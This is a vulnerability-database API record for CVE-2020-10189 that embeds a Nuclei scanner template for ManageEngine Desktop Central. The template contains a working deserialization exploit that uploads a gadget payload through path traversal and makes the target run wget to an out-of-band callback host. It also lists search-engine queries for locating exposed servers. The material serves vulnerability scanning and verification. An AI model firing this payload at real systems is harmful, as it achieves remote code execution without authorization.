{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-10189/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-10189/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-10189/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-10189/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-10189/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-10189"},"sightings":{"href":"/api/v1/sightings/cve-2020-10189"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-10189.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-10189\n\ninfo:\n  name: ManageEngine Desktop Central Java Deserialization\n  author: king-alexander\n  severity: critical\n  description: |\n    Zoho ManageEngine Desktop Central before 10.0.474 is vulnerable to a deserialization of untrusted data, which permits remote code execution.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code on Zoho ManageEngine Desktop Central servers, leading to complete system compromise and access to all managed endpoints.\n  remediation: |\n    Upgrade to ManageEngine Desktop Central Build 10.0.474 or later.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-10189\n    - https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189\n    - https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html\n    - https://y4er.com/posts/cve-2020-10189-zoho-manageengine-rce/\n    - https://cwe.mitre.org/data/definitions/502.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-10189\n    cwe-id: CWE-502\n    epss-score: 0.99941\n    epss-percentile: 0.99972\n    cpe: cpe:2.3:a:zohocorp:manageengine_desktop_central:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: zohocorp\n    product: manageengine_desktop_central\n    fofa-query:\n      - body=\"manageengine desktop central 10\"\n      - title=\"manageengine desktop central 10\"\n      - app=\"zoho-manageengine-desktop\"\n    shodan-query: http.title:\"manageengine desktop central 10\"\n    google-query: intitle:\"manageengine desktop central 10\"\n  tags: cve,cve2020,kev,zoho,manageengine,deserialization,intrusive,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/octet-stream\n\n        {{generate_java_gadget(\"commons-collections3.1\",\"wget http://{{interactsh-url}}\",\"raw\")}}\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n  - raw:\n      - |\n        GET /cewolf/?img=%5Clogger.zip HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220433027e5a1ad446d2e3e82b610b17a9fb5e5c037861d09ad5f9a125ce9b9e60c022100fd9f4ec4e1db4bdddbe6279fae9db8495d305aadd9fd8d76ecc6f4cbc043ca3f:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-10189"}